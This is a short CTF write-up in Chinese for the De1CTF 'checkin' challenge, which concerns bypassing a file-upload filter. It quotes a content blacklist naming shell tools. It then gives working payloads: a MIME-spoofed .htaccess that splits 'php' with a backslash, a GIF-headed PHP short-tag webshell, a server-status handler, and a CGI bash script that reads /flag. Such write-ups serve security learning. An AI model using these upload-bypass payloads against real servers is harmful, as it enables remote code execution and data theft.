De1CTF - checkin

文件上传 .htaccess新姿势

上传文件上去,提示过滤规则

1
perl|pyth|ph|auto|curl|base|>|rm|ruby|openssl|war|lua|msf|xter|telnet in contents!

随便上传个文本,显示 filetype error,修改 MIME 为 image/jpeg 就可以上传成功

文件后缀试了 php、php3、php4、php5、php7、pht、phtml、phps 等,大小写都被检测到了

只能试试用 .htaccess 进行解析文件,由于内容中不能包含 ph,可以用 \ 来进行绕过

1
2
3
4
5
Content-Disposition: form-data; name="fileUpload"; filename=".htaccess"
Content-Type: image/jpeg

AddType application/x-httpd-p\
hp .aa

上传图片马,由于不能包含 ph ,可以尝试短标签 <?=

1
2
3
4
5
Content-Disposition: form-data; name="fileUpload"; filename="2.aa"
Content-Type: image/png

GIF89a
<?=system('cat /flag');

访问图片马就可以拿到 flag 了。

看官方 wp ,原来这是非预期解法orz,还有一种非预期解法,可以看别人访问本网站的记录

,涨知识了。

1
2
3
.htaccess

SetHandler
server-status

记录下预期解法

.htaccess

1
2
Options +ExecCGI 
AddHandler 
cgi-script
 .xx

.xx

1
2
3
4
#!
/bin/bash

echo
 Content-type: 
text/html

echo
 ""
cat
 /flag